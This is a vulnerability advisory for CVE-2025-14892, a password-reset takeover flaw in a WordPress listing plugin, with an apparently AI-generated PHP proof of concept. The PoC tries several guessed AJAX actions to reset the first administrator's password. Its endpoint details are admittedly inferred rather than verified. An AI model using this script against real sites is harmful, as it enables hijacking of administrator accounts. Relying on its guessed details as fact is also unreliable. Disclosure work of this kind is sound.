Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-14892: Prime Listing Manager <= 1.1 – Unauthenticated Privilege Escalation via Account Takeover (prime-listing-manager)

Severity Critical (CVSS 9.8)
CWE 620
Vulnerable Version 1.1
Patched Version
Disclosed January 21, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-14892 (metadata-based):
This vulnerability is an unauthenticated privilege escalation via account takeover in the Prime Listing Manager WordPress plugin version 1.1. The plugin’s password change functionality lacks proper identity verification, allowing any unauthenticated user to reset passwords for arbitrary accounts, including administrators. The CVSS 3.1 score of 9.8 reflects its network-accessible, low-complexity attack vector with complete impact on confidentiality, integrity, and availability.

Atomic Edge research infers the root cause from the CWE-620 classification. The plugin likely implements a password reset or update function that accepts a user identifier parameter without verifying the requester’s authorization. This function probably exists as an AJAX handler or REST endpoint accessible without authentication. The vulnerability description confirms the absence of identity validation before password updates, but the exact code path cannot be verified without source access.

Exploitation requires identifying the vulnerable endpoint and parameters. WordPress plugins commonly expose such functionality via admin-ajax.php with an action parameter like ‘prime_listing_manager_update_password’ or similar. An attacker would send a POST request to /wp-admin/admin-ajax.php with parameters specifying the target user ID or username and the new password. The request would lack any nonce or session token validation. The attacker could then log in with the compromised credentials.

Effective remediation requires implementing multiple security controls. The plugin must verify the current user’s identity matches the account being modified, or that the requester possesses administrative privileges. The function should require a valid nonce to prevent CSRF. Password changes should also require the current password for confirmation, following WordPress core patterns. Input validation should ensure user identifiers are sanitized.

Successful exploitation grants attackers full control over any WordPress user account. Compromising an administrator account provides complete site control, enabling theme/plugin installation, file uploads, user management, and content modification. Attackers can establish persistent backdoors, deface the site, steal sensitive data, or use the site for further attacks. The impact is equivalent to complete system compromise within the WordPress context.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-14892 - Prime Listing Manager <= 1.1 - Unauthenticated Privilege Escalation via Account Takeover
<?php
/**
 * Proof of Concept for CVE-2025-14892
 * Assumptions based on WordPress plugin patterns and CWE-620:
 * 1. The plugin exposes an AJAX endpoint for password updates
 * 2. The endpoint does not verify user identity or authorization
 * 3. The endpoint accepts user_id and new_password parameters
 * 4. The AJAX action name likely contains 'prime_listing_manager' or 'plm'
 */

$target_url = 'https://victim-site.com'; // CHANGE THIS

// Common AJAX action names inferred from plugin slug
$possible_actions = [
    'prime_listing_manager_update_password',
    'plm_update_password',
    'prime_listing_manager_change_password',
    'plm_change_password',
    'prime_listing_manager_reset_password',
    'plm_reset_password'
];

// Target user ID (1 is typically the first admin user)
$target_user_id = 1;
$new_password = 'AtomicEdgeP0C!';

foreach ($possible_actions as $action) {
    $url = $target_url . '/wp-admin/admin-ajax.php';
    
    $post_fields = [
        'action' => $action,
        'user_id' => $target_user_id,
        'new_password' => $new_password,
        'confirm_password' => $new_password
    ];
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    
    echo "Testing action: {$action}n";
    echo "HTTP Code: {$http_code}n";
    echo "Response: {$response}n";
    echo "---n";
    
    curl_close($ch);
    
    // Check for success indicators
    if (strpos($response, 'success') !== false || strpos($response, 'updated') !== false) {
        echo "[+] POSSIBLE SUCCESS with action: {$action}n";
        echo "[+] Try logging in with user ID {$target_user_id} and password: {$new_password}n";
        break;
    }
}
?>

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